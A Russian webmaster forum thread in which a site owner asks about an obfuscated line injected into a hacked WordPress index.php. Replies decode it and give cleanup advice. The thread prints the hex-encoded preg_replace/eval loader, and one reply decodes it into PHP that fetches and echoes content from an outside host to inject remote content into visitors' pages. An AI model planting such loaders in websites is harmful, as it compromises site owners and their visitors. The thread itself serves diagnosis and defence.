Взломали WP. Что значит код

L
На сайте с 17.05.2013
Offline
88
1184

Обычно в index.php wordpress-a 2 строчки:

define('WP_USE_THEMES', true);

require('./wp-blog-header.php');

Сейчас у меня добавилась 3-я:

preg_replace("\x40\50\x2e\53\x29\100\x69\145","\x65\166\x61\154\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x5c\61\x22\51\x29\73","\x61\127\x59\157\x61\130\x4e\172\x5a\130\x51\157\x4a\106\x39\124\x52\126\x4a\127\x52\126\x4a\142\x49\153\x68\125\x56\106\x42\146\x53\105\x39\124\x56\103\x4a\144\x4b\123\x41\155\x4a\151\x41\150\x61\130\x4e\172\x5a\130\x51\157\x4a\106\x39\104\x54\60\x39\114\x53\125\x56\142\x4a\62\x52\163\x5a\126\x39\61\x63\62\x56\171\x58\62\x6c\153\x4a\61\x30\160\x4b\130\x73\116\x43\151\x52\157\x62\63\x4e\60\x49\104\x30\147\x63\63\x52\171\x58\63\x4a\154\x63\107\x78\150\x59\62\x55\157\x49\156\x64\63\x64\171\x34\151\x4c\103\x49\151\x4c\103\x52\146\x55\60\x56\123\x56\153\x56\123\x57\171\x4a\111\x56\106\x52\121\x58\60\x68\120\x55\61\x51\151\x58\123\x6b\67\x44\121\x6f\153\x62\107\x6c\165\x61\171\x41\71\x49\105\x42\155\x61\127\x78\154\x58\62\x64\154\x64\106\x39\152\x62\62\x35\60\x5a\127\x35\60\x63\171\x67\156\x61\110\x52\60\x63\104\x6f\166\x4c\63\x4e\63\x5a\127\x56\60\x4c\130\x4e\157\x59\127\x52\166\x64\171\x35\165\x59\127\x31\154\x4c\62\x39\162\x4c\63\x52\153\x63\171\x35\167\x61\110\x41\57\x61\155\x74\153\x63\110\x52\151\x64\172\x30\156\x4c\151\x52\157\x62\63\x4e\60\x4b\124\x73\116\x43\155\x56\152\x61\107\x38\147\x4a\107\x78\160\x62\155\x73\67\x44\121\x70\71");

Что она обозначает?

G
На сайте с 06.02.2013
Offline
51
#1
luckydan:
Обычно в index.php wordpress-a 2 строчки:
define('WP_USE_THEMES', true);
require('./wp-blog-header.php');

...

Что она обозначает?

Вариант кодирования. Типа чтоб никто не узнал что там. Внутри после распаковки будет код с eval. Гугл в помощь. Вот вариант ответа:

http://serverfault.com/questions/249190/how-do-i-decode-this-wordpress-hack

Костный мозг
На сайте с 16.08.2011
Offline
101
#2
luckydan:
Что она обозначает?

if(isset($_SERVER["HTTP_HOST"]) && !isset($_COOKIE['dle_user_id'])){

$host = str_replace("www.","",$_SERVER["HTTP_HOST"]);
$link = @file_get_contents('http://sweet-shadow.name/ok/tds.php?jkdptbw='.$host);
echo $link;
}

фу, кака

Я не сплю, потому что в Интернете кто-то не прав!
K5
На сайте с 21.07.2010
Offline
209
#3

ТС, не о том думаете: важно не что зашифровано, а то что вставка появилась и каким образом появилась.

Проверяйте сайт на шелл-скрипты - ай-болит в помощь...

аська 45два48499два записки на работе (http://memoryhigh.ru) помогу с сайтом, удалю вирусы, настрою впс -> отзывы ТУТ (/ru/forum/836248) и ТАМ (http://www.maultalk.com/topic140187.html) !!!всегда проверяйте данные людей, которые сами пишут вам в аську или скайп!!!
[Удален]
#4

А сборка WP родная была? Такие штуки любят появляться во всяких OpenCart'ах кустовых сборок

buzater
На сайте с 11.01.2012
Offline
114
#5

У меня, давно правда это уже было, аналогичная проблема появилась после смены шаблона, который, как оказалось, был со вшитыми скриптами. Лечил эту каку сменой шаблона (лень было разбираться просто). В дальнейшем также существенно усилил защиту самого WP через плагины.

Здесь всегда есть работа - Магазин фриланс услуг (http://kwork.ru/ref/2393)
W
На сайте с 28.05.2011
Offline
54
#6

Если есть пассивные или активные XSS? то тоже имеет смысл задуматься, так как в них тоже возможна атака RCE! Задуматься, как о корне проникновения....

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий